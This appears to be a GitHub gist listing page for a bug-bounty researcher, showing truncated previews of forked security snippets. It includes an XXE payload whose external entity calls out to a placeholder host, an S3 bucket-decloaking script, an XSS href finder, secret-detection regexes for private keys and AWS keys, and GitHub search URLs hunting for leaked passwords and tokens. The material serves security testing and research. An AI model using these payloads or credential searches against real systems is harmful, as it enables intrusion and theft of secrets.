Skip to content

Instantly share code, notes, and snippets.

View codingo's full-sized avatar

Michael Skelton codingo

3.5k followers · 340 following
View GitHub Profile
@codingo
codingo / spauth.py
Last active September 9, 2015 01:19 — forked from juntalis/spauth.py
Claims-based Authentication Example for interacting with Sharepoint Online
import os, requests, re
from htmlentitydefs import name2codepoint
from simplejson import loads, dumps
spauth = None
def unescape(s):
name2codepoint['#39'] = 39
return re.sub('&(%s);' % '|'.join(name2codepoint),
lambda m: unichr(name2codepoint[m.group(1)]), s)
@codingo
codingo / day-mode
Created March 12, 2017 12:19 — forked from Skehmatics/day-mode
#!/bin/bash
# export DBUS_SESSION_BUS_ADDRESS environment variable because cron hates me
PID=$(pgrep -u USER gnome-session-b)
export DBUS_SESSION_BUS_ADDRESS=$(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$PID/environ|cut -d= -f2-)
/usr/bin/gsettings set org.gnome.shell.extensions.user-theme name 'Flat-Plat'
/usr/bin/gsettings set org.gnome.desktop.interface gtk-theme 'Flat-Plat'
/usr/bin/gsettings set org.gnome.desktop.background picture-uri 'file://WALLPAPER-PATH'
/usr/bin/gsettings --schemadir ~/.local/share/gnome-shell/extensions/drop-down-terminal@gs-extensions.zzrough.org set org.zzrough.gs-extensions.drop-down-terminal background-color 'rgb(69,90,100)'
@codingo
codingo / monitor_cve.py
Created February 26, 2018 10:01 — forked from PaulSec/monitor_cve.py
Monitors @cvenew and sends me a message on Telegram if a keyword triggers
from tweepy import StreamListener
from tweepy import Stream
import tweepy
import json
import telebot
import requests
CONSUMER_KEY = 'XXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_KEY = 'XXXXXXXXXXXXXXXXXXXXXXX'
@codingo
codingo / linkfinder-oneliner.sh
Created June 15, 2018 14:04 — forked from ntrzz/linkfinder-oneliner.sh
curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > jslinks.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf jslinks.txt
@codingo
codingo / bucket-disclose.sh
Created July 14, 2018 14:36 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@codingo
codingo / XXE_payloads
Created August 21, 2018 23:39 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@codingo
codingo / hrefs.py
Created December 4, 2018 00:30 — forked from bayotop/hrefs.py
Identify "href" usages in SPAs (ReactJS), i.e., free javascript: XSS
import re
import sys
VULNERABLE_HREF = r'href: [^"].+[^\s;,]'
STATE_VALUES = r'\.setState\({([\s\S]*?)}\)'
#false_positives = ("this.props.team.", "constants.")
def find_state_candidates(name, states):
candidates = []
@codingo
codingo / foxyproxy.json
Created June 3, 2019 05:27 — forked from liamosaur/foxyproxy.json
{
"mode": "patterns",
"proxySettings": [
{
"address": "127.0.0.1",
"port": 8080,
"username": "",
"password": "",
"type": 1,
"title": "127.0.0.1:8080",
@codingo
codingo / trufflehog.json
Created July 15, 2019 05:12 — forked from tehryanx/trufflehog.json
High signal patterns from trufflehog refactored to work with tomnomnom's gf
{
"flags": "-HnriE",
"patterns": [
"(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN PGP PRIVATE KEY BLOCK-----",
"AKIA[0-9A-Z]{16}",
"amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
@codingo
codingo / auto_git_query
Created August 28, 2019 22:30 — forked from nullenc0de/auto_git_query
Automated Github Queries (Can open 29 tabs at a time)
https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code
https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code
https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code
https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code
https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI